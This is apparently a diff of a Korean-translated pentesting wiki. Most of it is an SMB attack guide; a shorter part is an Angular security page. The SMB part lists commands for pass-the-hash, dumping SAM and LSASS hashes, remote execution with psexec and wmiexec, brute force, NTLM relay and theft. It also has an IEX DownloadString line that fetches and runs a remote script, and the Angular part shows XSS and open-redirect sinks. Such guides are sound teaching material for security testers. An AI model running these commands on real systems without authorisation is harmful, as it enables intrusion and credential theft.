[--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash - -smbmap -H [-P ] #Null user -smbmap -u "username" -p "password" -H [-P ] #Creds -smbmap -u "username" -p ":" -H [-P ] #Pass-the-Hash -smbmap -R -u "username" -p "password" -H [-P ] #Recursive list - -crackmapexec smb -u '' -p '' --shares #Null user -crackmapexec smb -u 'username' -p 'password' --shares #Guest user -crackmapexec smb -u 'username' -H '' --shares #Guest user -``` -### **공유 폴더 연결/목록** -```bash -#Connect using smbclient -smbclient --no-pass /// -smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash -#Use --no-pass -c 'recurse;ls' to list recursively with smbclient - -#List with smbmap, without folder it list everything -smbmap [-u "username" -p "password"] -R [Folder] -H [-P ] # Recursive list -smbmap [-u "username" -p "password"] -r [Folder] -H [-P ] # Non-Recursive list -smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-the-Hash -``` -### **수동으로 윈도우 공유를 열거하고 연결하기** - -호스트 머신의 공유를 표시하는 데 제한이 있을 수 있으며, 이를 나열하려고 할 때 연결할 수 있는 공유가 없는 것처럼 보일 수 있습니다. 따라서 공유에 수동으로 연결해 보려는 시도가 가치가 있을 수 있습니다. 공유를 수동으로 열거하려면 유효한 세션(예: null 세션 또는 유효한 자격 증명)을 사용할 때 NT_STATUS_ACCESS_DENIED 및 NT_STATUS_BAD_NETWORK_NAME와 같은 응답을 찾아보는 것이 좋습니다. 이는 공유가 존재하지만 접근할 수 없거나 공유가 전혀 존재하지 않음을 나타낼 수 있습니다. - -윈도우 타겟의 일반적인 공유 이름은 다음과 같습니다. - -- C$ -- D$ -- ADMIN$ -- IPC$ -- PRINT$ -- FAX$ -- SYSVOL -- NETLOGON - -(_**Network Security Assessment 3rd edition**_의 일반적인 공유 이름) - -다음 명령어를 사용하여 이들에 연결해 볼 수 있습니다. -```bash -smbclient -U '%' -N \\\\\\ # null session to connect to a windows share -smbclient -U '' \\\\\\ # authenticated session to connect to a windows share (you will be prompted for a password) -``` -이 스크립트(널 세션 사용) -```bash -#/bin/bash - -ip='' -shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON') - -for share in ${shares[*]}; do -output=$(smbclient -U '%' -N \\\\$ip\\$share -c '') - -if [[ -z $output ]]; then -echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created -else -echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME) -fi -done -``` -예시 -```bash -smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME -smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session -``` -### **Windows에서 공유 목록 열기 / 서드파티 도구 없이** - -PowerShell -```bash -# Retrieves the SMB shares on the locale computer. -Get-SmbShare -Get-WmiObject -Class Win32_Share -# Retrieves the SMB shares on a remote computer. -get-smbshare -CimSession "" -# Retrieves the connections established from the local SMB client to the SMB servers. -Get-SmbConnection -``` -CMD 콘솔 -```shell -# List shares on the local computer -net share -# List shares on a remote computer (including hidden ones) -net view \\ /all -``` -MMC 스냅인 (그래픽) -```shell -# Shared Folders: Shared Folders > Shares -fsmgmt.msc -# Computer Management: Computer Management > System Tools > Shared Folders > Shares -compmgmt.msc -``` -explorer.exe (그래픽), `\\\`를 입력하여 사용 가능한 비공유 폴더를 확인합니다. - -### 공유 폴더 마운트 -```bash -mount -t cifs //x.x.x.x/share /mnt/share -mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share -``` -### **파일 다운로드** - -이전 섹션을 읽어 자격 증명/Pass-the-Hash로 연결하는 방법을 배우십시오. -```bash -#Search a file and download -sudo smbmap -R Folder -H -A -q # Search the file in recursive mode and download it inside /usr/share/smbmap -``` - -```bash -#Download all -smbclient /// -> mask "" -> recurse -> prompt -> mget * -#Download everything to current directory -``` -명령어: - -- mask: 디렉토리 내 파일을 필터링하는 데 사용되는 마스크를 지정합니다 (예: ""는 모든 파일에 해당) -- recurse: 재귀를 켭니다 (기본값: 꺼짐) -- prompt: 파일 이름에 대한 프롬프트를 끕니다 (기본값: 켜짐) -- mget: 호스트에서 클라이언트 머신으로 마스크와 일치하는 모든 파일을 복사합니다 - -(_smbclient의 매뉴얼 페이지에서 정보_) - -### 도메인 공유 폴더 검색 - -- [**Snaffler**](https://github.com/SnaffCon/Snaffler) -```bash -Snaffler.exe -s -d domain.local -o snaffler.log -v data -``` -- [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) 스파이더. -- `-M spider_plus [--share ]` -- `--pattern txt` -```bash -sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' -``` -특히 흥미로운 공유는 **`Registry.xml`** 파일로, 이는 **autologon**으로 구성된 사용자에 대한 비밀번호를 포함할 수 있습니다. 또는 **`web.config`** 파일은 자격 증명을 포함하고 있습니다. - -- [**PowerHuntShares**](https://github.com/NetSPI/PowerHuntShares) -- `IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerHuntShares/main/PowerHuntShares.psm1")` -- `Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:\temp\test` - -> [!NOTE] -> **SYSVOL 공유**는 도메인 내 모든 인증된 사용자가 **읽을 수** 있습니다. 그 안에는 다양한 배치, VBScript 및 PowerShell **스크립트**가 있을 수 있습니다.\ -> 그 안의 **스크립트**를 **확인**해야 하며, **비밀번호**와 같은 민감한 정보를 **찾을** 수 있습니다. - -## 레지스트리 읽기 - -발견된 자격 증명을 사용하여 **레지스트리**를 **읽을 수** 있습니다. Impacket **`reg.py`**를 사용하여 시도할 수 있습니다: -```bash -sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s -sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s -sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s -``` -## Post Exploitation - -**Samba** 서버의 **기본 구성**은 일반적으로 `/etc/samba/smb.conf`에 위치하며, 몇 가지 **위험한 구성**이 있을 수 있습니다: - -| **설정** | **설명** | -| --------------------------- | ------------------------------------------------------------------- | -| `browseable = yes` | 현재 공유에서 사용 가능한 공유 목록을 허용합니까? | -| `read only = no` | 파일의 생성 및 수정을 금지합니까? | -| `writable = yes` | 사용자가 파일을 생성하고 수정할 수 있도록 허용합니까? | -| `guest ok = yes` | 비밀번호 없이 서비스에 연결할 수 있도록 허용합니까? | -| `enable privileges = yes` | 특정 SID에 할당된 권한을 존중합니까? | -| `create mask = 0777` | 새로 생성된 파일에 어떤 권한이 할당되어야 합니까? | -| `directory mask = 0777` | 새로 생성된 디렉토리에 어떤 권한이 할당되어야 합니까? | -| `logon script = script.sh` | 사용자의 로그인 시 실행해야 하는 스크립트는 무엇입니까? | -| `magic script = script.sh` | 스크립트가 종료될 때 실행해야 하는 스크립트는 무엇입니까? | -| `magic output = script.out` | 마법 스크립트의 출력이 저장되어야 하는 위치는 어디입니까? | - -`smbstatus` 명령은 **서버** 및 **누가 연결되어 있는지**에 대한 정보를 제공합니다. - -## Authenticate using Kerberos - -**smbclient** 및 **rpcclient** 도구를 사용하여 **kerberos**에 **인증**할 수 있습니다: -```bash -smbclient --kerberos //ws01win10.domain.com/C$ -rpcclient -k ws01win10.domain.com -``` -## **명령 실행** - -### **crackmapexec** - -crackmapexec는 **wmiexec**가 **기본** 방법인 **mmcexec, smbexec, atexec, wmiexec**를 **악용하여** 명령을 실행할 수 있습니다. 사용할 옵션을 `--exec-method` 매개변수로 지정할 수 있습니다: -```bash -apt-get install crackmapexec - -crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell -crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd -crackmapexec smb 192.168.10.11 -u Administrator -H -x whoami #Pass-the-Hash -# Using --exec-method {mmcexec,smbexec,atexec,wmiexec} - -crackmapexec smb -d -u Administrator -p 'password' --sam #Dump SAM -crackmapexec smb -d -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes -crackmapexec smb -d -u Administrator -p 'password' --sessions #Get sessions ( -crackmapexec smb -d -u Administrator -p 'password' --loggedon-users #Get logged-on users -crackmapexec smb -d -u Administrator -p 'password' --disks #Enumerate the disks -crackmapexec smb -d -u Administrator -p 'password' --users #Enumerate users -crackmapexec smb -d -u Administrator -p 'password' --groups # Enumerate groups -crackmapexec smb -d -u Administrator -p 'password' --local-groups # Enumerate local groups -crackmapexec smb -d -u Administrator -p 'password' --pass-pol #Get password policy -crackmapexec smb -d -u Administrator -p 'password' --rid-brute #RID brute - -crackmapexec smb -d -u Administrator -H #Pass-The-Hash -``` -### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md) - -두 옵션은 **새 서비스를 생성**합니다 (_\pipe\svcctl_을 사용하여 SMB를 통해) 피해자 머신에서 이를 사용하여 **무언가를 실행**합니다 (**psexec**는 **실행 파일을 ADMIN$ 공유에 업로드**하고 **smbexec**는 **cmd.exe/powershell.exe**를 가리키며 인수에 페이로드를 넣습니다 --**파일 없는 기법-**-).\ -**자세한 정보**는 [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)와 [**smbexec**](../windows-hardening/ntlm/smbexec.md)를 참조하세요.\ -**kali**에서는 /usr/share/doc/python3-impacket/examples/에 위치해 있습니다. -```bash -#If no password is provided, it will be prompted -./psexec.py [[domain/]username[:password]@] -./psexec.py -hashes administrator@10.10.10.103 #Pass-the-Hash -psexec \\192.168.122.66 -u Administrator -p 123456Ww -psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash -``` -**매개변수**`-k`를 사용하면 **kerberos**를 통해 **NTLM** 대신 인증할 수 있습니다. - -### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec - -디스크를 건드리거나 새로운 서비스를 실행하지 않고 **포트 135**를 통해 DCOM을 사용하여 명령 셸을 은밀하게 실행합니다.\ -**kali**에서는 /usr/share/doc/python3-impacket/examples/에 위치해 있습니다. -```bash -#If no password is provided, it will be prompted -./wmiexec.py [[domain/]username[:password]@] #Prompt for password -./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash -#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted -``` -**매개변수**`-k`를 사용하면 **NTLM** 대신 **kerberos**에 대해 인증할 수 있습니다. -```bash -#If no password is provided, it will be prompted -./dcomexec.py [[domain/]username[:password]@] -./dcomexec.py -hashes administrator@10.10.10.103 #Pass-the-Hash -#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted -``` -### [AtExec](../windows-hardening/ntlm/atexec.md) - -SMB를 통해 Task Scheduler를 통해 명령을 실행합니다 (_\pipe\atsvc_ 사용).\ -**kali**에서는 /usr/share/doc/python3-impacket/examples/에 위치해 있습니다. -```bash -./atexec.py [[domain/]username[:password]@] "command" -./atexec.py -hashes administrator@10.10.10.175 "whoami" -``` -## Impacket reference - -[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/) - -## **사용자 자격 증명 무차별 대입** - -**권장하지 않습니다. 최대 허용 시도를 초과하면 계정이 차단될 수 있습니다.** -```bash -nmap --script smb-brute -p 445 -ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name -``` -## SMB 릴레이 공격 - -이 공격은 Responder 툴킷을 사용하여 **내부 네트워크에서 SMB 인증 세션을 캡처**하고, 이를 **대상 머신**으로 **중계**합니다. 인증 **세션이 성공하면**, 자동으로 **시스템** **셸**로 진입하게 됩니다.\ -[**이 공격에 대한 더 많은 정보는 여기에서 확인하세요.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) - -## SMB-Trap - -Windows 라이브러리 URLMon.dll은 페이지가 SMB를 통해 일부 콘텐츠에 접근하려고 할 때 자동으로 호스트에 인증을 시도합니다. 예를 들어: `img src="\\10.10.10.10\path\image.jpg"` - -이는 다음 함수에서 발생합니다: - -- URLDownloadToFile -- URLDownloadToCache -- URLOpenStream -- URLOpenBlockingStream - -일부 브라우저와 도구(예: Skype)에서 사용됩니다. - -![출처: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../images/image (93).png>) - -### MitMf를 이용한 SMBTrap - -![출처: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../images/image (94).png>) - -## NTLM 탈취 - -SMB 트래핑과 유사하게, 악성 파일을 대상 시스템에 심으면(SMB를 통해 예를 들어) SMB 인증 시도가 발생할 수 있으며, 이를 통해 NetNTLMv2 해시를 Responder와 같은 도구로 가로챌 수 있습니다. 해시는 오프라인에서 크랙되거나 [SMB 릴레이 공격](pentesting-smb.md#smb-relay-attack)에 사용될 수 있습니다. - -[참조: ntlm_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft) - -## HackTricks 자동 명령 -``` -Protocol_Name: SMB #Protocol Abbreviation if there is one. -Port_Number: 137,138,139 #Comma separated if there is more than one. -Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out - -Entry_1: -Name: Notes -Description: Notes for SMB -Note: | -While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network. - -#These are the commands I run in order every time I see an open SMB port - -With No Creds -nbtscan {IP} -smbmap -H {IP} -smbmap -H {IP} -u null -p null -smbmap -H {IP} -u guest -smbclient -N -L //{IP} -smbclient -N //{IP}/ --option="client min protocol"=LANMAN1 -rpcclient {IP} -rpcclient -U "" {IP} -crackmapexec smb {IP} -crackmapexec smb {IP} --pass-pol -u "" -p "" -crackmapexec smb {IP} --pass-pol -u "guest" -p "" -GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all -GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat -GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/" -getArch.py -target {IP} - -With Creds -smbmap -H {IP} -u {Username} -p {Password} -smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} -smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash` -crackmapexec smb {IP} -u {Username} -p {Password} --shares -GetADUsers.py {Domain_Name}/{Username}:{Password} -all -GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat -GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request - -https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html - -Entry_2: -Name: Enum4Linux -Description: General SMB Scan -Command: enum4linux -a {IP} - -Entry_3: -Name: Nmap SMB Scan 1 -Description: SMB Vuln Scan With Nmap -Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP} - -Entry_4: -Name: Nmap Smb Scan 2 -Description: SMB Vuln Scan With Nmap (Less Specific) -Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP} - -Entry_5: -Name: Hydra Brute Force -Description: Need User -Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb - -Entry_6: -Name: SMB/SMB2 139/445 consolesless mfs enumeration -Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole -Note: sourced from https://github.com/carlospolop/legion -Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit' - -``` -{{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/angular.md b/src/network-services-pentesting/pentesting-web/angular.md index ad3c38b93..ebe5bc198 100644 --- a/src/network-services-pentesting/pentesting-web/angular.md +++ b/src/network-services-pentesting/pentesting-web/angular.md @@ -1,11 +1,13 @@ # Angular +{{#include /banners/hacktricks-training.md}} + ## The Checklist Checklist [from here](https://lsgeurope.com/post/angular-security-checklist). * [ ] Angular은 클라이언트 측 프레임워크로 간주되며 서버 측 보호를 제공할 것으로 기대되지 않습니다. -* [ ] 스크립트에 대한 소스 맵이 프로젝트 구성에서 비활성화되어 있습니다. +* [ ] 프로젝트 구성에서 스크립트의 소스 맵이 비활성화되어 있습니다. * [ ] 신뢰할 수 없는 사용자 입력은 항상 템플릿에서 사용되기 전에 보간되거나 정리됩니다. * [ ] 사용자는 서버 측 또는 클라이언트 측 템플릿에 대한 제어 권한이 없습니다. * [ ] 신뢰할 수 없는 사용자 입력은 애플리케이션에서 신뢰하기 전에 적절한 보안 컨텍스트를 사용하여 정리됩니다. @@ -14,7 +16,7 @@ Checklist [from here](https://lsgeurope.com/post/angular-security-checklist). ## What is Angular -Angular은 **강력한** 및 **오픈 소스** 프론트 엔드 프레임워크로 **Google**에서 유지 관리합니다. **TypeScript**를 사용하여 코드 가독성과 디버깅을 향상시킵니다. 강력한 보안 메커니즘을 통해 Angular는 **XSS** 및 **오픈 리다이렉트**와 같은 일반적인 클라이언트 측 취약점을 방지합니다. 서버 측에서도 사용할 수 있어 **양쪽**에서 보안 고려 사항이 중요합니다. +Angular는 **강력한** 및 **오픈 소스** 프론트 엔드 프레임워크로 **Google**에서 유지 관리합니다. **TypeScript**를 사용하여 코드 가독성과 디버깅을 향상시킵니다. 강력한 보안 메커니즘을 통해 Angular는 **XSS** 및 **오픈 리디렉션**과 같은 일반적인 클라이언트 측 취약점을 방지합니다. 서버 측에서도 사용할 수 있어 **양쪽**에서 보안 고려 사항이 중요합니다. ## Framework architecture @@ -39,13 +41,13 @@ my-workspace/ ├── angular.json #provides workspace-wide and project-specific configuration defaults └── tsconfig.json #provides the base TypeScript configuration for projects in the workspace ``` -문서에 따르면, 모든 Angular 애플리케이션은 최소한 하나의 컴포넌트, 즉 DOM과 컴포넌트 계층을 연결하는 루트 컴포넌트(`AppComponent`)를 가지고 있습니다. 각 컴포넌트는 애플리케이션 데이터와 로직을 포함하는 클래스를 정의하며, 타겟 환경에 표시될 뷰를 정의하는 HTML 템플릿과 연결됩니다. `@Component()` 데코레이터는 그 아래의 클래스를 컴포넌트로 식별하고, 템플릿 및 관련 컴포넌트 전용 메타데이터를 제공합니다. `AppComponent`는 `app.component.ts` 파일에 정의되어 있습니다. +문서에 따르면, 모든 Angular 애플리케이션은 최소한 하나의 컴포넌트, 즉 컴포넌트 계층을 DOM과 연결하는 루트 컴포넌트(`AppComponent`)를 가지고 있습니다. 각 컴포넌트는 애플리케이션 데이터와 로직을 포함하는 클래스를 정의하며, 타겟 환경에 표시될 뷰를 정의하는 HTML 템플릿과 연결됩니다. `@Component()` 데코레이터는 그 아래의 클래스를 컴포넌트로 식별하고, 템플릿 및 관련 컴포넌트 전용 메타데이터를 제공합니다. `AppComponent`는 `app.component.ts` 파일에 정의되어 있습니다. Angular NgModules는 애플리케이션 도메인, 워크플로우 또는 밀접하게 관련된 기능 세트를 위한 컴파일 컨텍스트를 선언합니다. 모든 Angular 애플리케이션은 일반적으로 `AppModule`이라고 명명된 루트 모듈을 가지고 있으며, 이는 애플리케이션을 시작하는 부트스트랩 메커니즘을 제공합니다. 애플리케이션은 일반적으로 많은 기능 모듈을 포함합니다. `AppModule`은 `app.module.ts` 파일에 정의되어 있습니다. Angular `Router` NgModule은 애플리케이션의 다양한 상태와 뷰 계층 간의 탐색 경로를 정의할 수 있는 서비스를 제공합니다. `RouterModule`은 `app-routing.module.ts` 파일에 정의되어 있습니다. -특정 뷰와 관련이 없고 컴포넌트 간에 공유하고 싶은 데이터나 로직에 대해서는 서비스 클래스를 생성합니다. 서비스 클래스 정의는 즉시 `@Injectable()` 데코레이터로 시작됩니다. 이 데코레이터는 다른 제공자가 클래스에 종속성으로 주입될 수 있도록 하는 메타데이터를 제공합니다. 의존성 주입(DI)은 컴포넌트 클래스를 간결하고 효율적으로 유지할 수 있게 해줍니다. 이들은 서버에서 데이터를 가져오거나, 사용자 입력을 검증하거나, 콘솔에 직접 로그를 남기지 않고, 이러한 작업을 서비스에 위임합니다. +특정 뷰와 연결되지 않은 데이터나 로직을 공유하고 싶다면 서비스 클래스를 생성합니다. 서비스 클래스 정의는 즉시 `@Injectable()` 데코레이터로 시작됩니다. 이 데코레이터는 다른 제공자가 클래스에 의존성으로 주입될 수 있도록 하는 메타데이터를 제공합니다. 의존성 주입(DI)은 컴포넌트 클래스를 간결하고 효율적으로 유지할 수 있게 해줍니다. 이들은 서버에서 데이터를 가져오거나, 사용자 입력을 검증하거나, 콘솔에 직접 로그를 남기지 않으며, 이러한 작업을 서비스에 위임합니다. ## Sourcemap 구성 @@ -60,7 +62,7 @@ Angular 프레임워크는 `tsconfig.json` 옵션을 따르며 TypeScript 파일 ``` 일반적으로, sourcemap 파일은 생성된 파일을 원본 파일에 매핑하여 디버깅 목적으로 사용됩니다. 따라서 프로덕션 환경에서 사용하는 것은 권장되지 않습니다. sourcemaps가 활성화되면 Angular 프로젝트의 원래 상태를 복제하여 가독성을 높이고 파일 분석에 도움이 됩니다. 그러나 비활성화된 경우, 검토자는 보안 패턴을 검색하여 컴파일된 JavaScript 파일을 수동으로 분석할 수 있습니다. -또한, Angular 프로젝트의 컴파일된 JavaScript 파일은 브라우저 개발자 도구 → Sources (또는 Debugger and Sources) → \[id].main.js에서 찾을 수 있습니다. 활성화된 옵션에 따라 이 파일의 끝에 `//# sourceMappingURL=[id].main.js.map` 행이 포함될 수 있으며, **hidden** 옵션이 **true**로 설정된 경우 포함되지 않을 수 있습니다. 그럼에도 불구하고 **scripts**에 대해 sourcemap이 비활성화되면 테스트가 더 복잡해지고 파일을 얻을 수 없습니다. 또한, `ng build --source-map`와 같이 프로젝트 빌드 중에 sourcemap을 활성화할 수 있습니다. +또한, Angular 프로젝트의 컴파일된 JavaScript 파일은 브라우저 개발자 도구 → Sources (또는 Debugger and Sources) → \[id].main.js에서 찾을 수 있습니다. 활성화된 옵션에 따라 이 파일의 끝에 `//# sourceMappingURL=[id].main.js.map` 행이 포함될 수 있으며, **hidden** 옵션이 **true**로 설정된 경우 포함되지 않을 수 있습니다. 그럼에도 불구하고 **scripts**에 대해 sourcemap이 비활성화되면 테스트가 더 복잡해지고 파일을 얻을 수 없습니다. 또한, 프로젝트 빌드 중에 `ng build --source-map`와 같이 sourcemap을 활성화할 수 있습니다. ## 데이터 바인딩 @@ -74,18 +76,18 @@ Angular 프레임워크는 `tsconfig.json` 옵션을 따르며 TypeScript 파일 바인딩은 속성, 이벤트 및 속성뿐만 아니라 소스 지시문의 모든 공개 멤버에서 호출할 수 있습니다: -| 유형 | 대상 | 예시 | +| TYPE | TARGET | EXAMPLES | | --------- | -------------------------------------------------------- | -------------------------------------------------------------------- | -| 속성 | 요소 속성, 구성 요소 속성, 지시문 속성 | \ | -| 이벤트 | 요소 이벤트, 구성 요소 이벤트, 지시문 이벤트 | \ ``` -연구 중에 우리는 XSS 및 CSS 주입과 관련하여 `Renderer2`의 다른 메서드인 `setStyle()`, `createComment()`, 및 `setValue()`의 동작도 조사했습니다. 그러나 이러한 메서드의 기능적 제한으로 인해 유효한 공격 벡터를 찾을 수 없었습니다. +연구 중에 우리는 XSS 및 CSS 주입과 관련하여 `Renderer2`의 다른 메서드인 `setStyle()`, `createComment()`, 및 `setValue()`의 동작도 검토했습니다. 그러나 이 메서드의 기능적 제한으로 인해 유효한 공격 벡터를 찾을 수 없었습니다. #### jQuery -jQuery는 Angular 프로젝트에서 HTML DOM 객체를 조작하는 데 도움을 줄 수 있는 빠르고 작고 기능이 풍부한 JavaScript 라이브러리입니다. 그러나 이 라이브러리의 메서드는 XSS 취약점을 달성하기 위해 악용될 수 있는 것으로 알려져 있습니다. 취약한 jQuery 메서드가 Angular 프로젝트에서 어떻게 악용될 수 있는지 논의하기 위해 이 하위 섹션을 추가했습니다. +jQuery는 HTML DOM 객체 조작을 돕기 위해 Angular 프로젝트에서 사용할 수 있는 빠르고 작고 기능이 풍부한 JavaScript 라이브러리입니다. 그러나 이 라이브러리의 메서드는 XSS 취약점을 달성하기 위해 악용될 수 있는 것으로 알려져 있습니다. 취약한 jQuery 메서드가 Angular 프로젝트에서 어떻게 악용될 수 있는지 논의하기 위해 이 하위 섹션을 추가했습니다. * `html()` 메서드는 일치하는 요소 집합의 첫 번째 요소의 HTML 내용을 가져오거나 모든 일치하는 요소의 HTML 내용을 설정합니다. 그러나 설계상 HTML 문자열을 수용하는 모든 jQuery 생성자 또는 메서드는 잠재적으로 코드를 실행할 수 있습니다. 이는 `");

some text here

``` -* `jQuery.parseHTML()` 메서드는 문자열을 DOM 노드 집합으로 변환하기 위해 기본 메서드를 사용하며, 이를 문서에 삽입할 수 있습니다. +* `jQuery.parseHTML()` 메서드는 문자열을 DOM 노드 집합으로 변환하기 위해 기본 메서드를 사용하며, 이 노드는 문서에 삽입될 수 있습니다. ```tsx jQuery.parseHTML(data [, context ] [, keepScripts ]) @@ -446,11 +450,11 @@ $palias.append(html); #### DOM 인터페이스 -W3C 문서에 따르면, `window.location` 및 `document.location` 객체는 최신 브라우저에서 별칭으로 처리됩니다. 그렇기 때문에 이들은 일부 메서드와 속성의 유사한 구현을 가지며, 이는 아래에 언급된 `javascript://` 스키마 공격으로 인해 열린 리디렉션 및 DOM XSS를 유발할 수 있습니다. +W3C 문서에 따르면, `window.location` 및 `document.location` 객체는 최신 브라우저에서 별칭으로 취급됩니다. 그렇기 때문에 이들은 일부 메서드와 속성의 유사한 구현을 가지며, 이는 아래에 언급된 `javascript://` 스키마 공격으로 인해 열린 리디렉션 및 DOM XSS를 유발할 수 있습니다. * `window.location.href`(및 `document.location.href`) -현재 DOM 위치 객체를 가져오는 표준 방법은 `window.location`을 사용하는 것입니다. 또한 이를 사용하여 브라우저를 새 페이지로 리디렉션할 수 있습니다. 결과적으로 이 객체에 대한 제어를 가지면 열린 리디렉션 취약점을 악용할 수 있습니다. +현재 DOM 위치 객체를 가져오는 표준 방법은 `window.location`을 사용하는 것입니다. 이는 브라우저를 새 페이지로 리디렉션하는 데에도 사용할 수 있습니다. 따라서 이 객체에 대한 제어를 가지면 열린 리디렉션 취약점을 악용할 수 있습니다. ```tsx //app.component.ts @@ -468,7 +472,7 @@ window.location.href = "https://google.com/about" 다음 시나리오에 대한 악용 과정은 동일합니다. * `window.location.assign()`(및 `document.location.assign()`) -이 메서드는 창이 지정된 URL에서 문서를 로드하고 표시하도록 합니다. 이 메서드에 대한 제어를 가지면 열린 리디렉션 공격의 싱크가 될 수 있습니다. +이 메서드는 지정된 URL에서 문서를 로드하고 표시하도록 창을 유도합니다. 이 메서드에 대한 제어를 가지면 열린 리디렉션 공격의 싱크가 될 수 있습니다. ```tsx //app.component.ts @@ -483,7 +487,7 @@ window.location.assign("https://google.com/about") 이 메서드는 현재 리소스를 제공된 URL의 리소스로 대체합니다. -`assign()` 메서드와의 차이점은 `window.location.replace()`를 사용한 후 현재 페이지가 세션 기록에 저장되지 않는다는 것입니다. 그러나 이 메서드에 대한 제어를 가질 때 열린 리디렉션 취약점을 악용할 수도 있습니다. +`assign()` 메서드와의 차이점은 `window.location.replace()`를 사용한 후 현재 페이지가 세션 기록에 저장되지 않는다는 것입니다. 그러나 이 메서드에 대한 제어를 가질 때 열린 리디렉션 취약점을 악용하는 것도 가능합니다. ```tsx //app.component.ts @@ -496,7 +500,7 @@ window.location.replace("http://google.com/about") ``` * `window.open()` -`window.open()` 메서드는 URL을 가져와서 이를 새 탭이나 기존 탭 또는 창에 로드합니다. 이 메서드에 대한 제어를 가지면 XSS 또는 열린 리디렉션 취약점을 유발할 수 있는 기회가 될 수 있습니다. +`window.open()` 메서드는 URL을 받아 이를 새 탭이나 기존 탭 또는 창에 로드합니다. 이 메서드에 대한 제어를 가지면 XSS 또는 열린 리디렉션 취약점을 유발할 수 있는 기회가 될 수 있습니다. ```tsx //app.component.ts @@ -533,7 +537,7 @@ this.document.location.href = 'https://google.com/about'; //app.component.html ``` -* 연구 단계에서 우리는 열린 리디렉션 취약점에 대한 Angular `Location` 클래스도 검토했지만 유효한 벡터를 찾지 못했습니다. `Location`은 애플리케이션이 브라우저의 현재 URL과 상호작용하는 데 사용할 수 있는 Angular 서비스입니다. 이 서비스는 주어진 URL을 조작하는 여러 메서드 - `go()`, `replaceState()`, 및 `prepareExternalUrl()`를 가지고 있습니다. 그러나 우리는 이를 외부 도메인으로 리디렉션하는 데 사용할 수 없습니다. 예를 들어: +* 연구 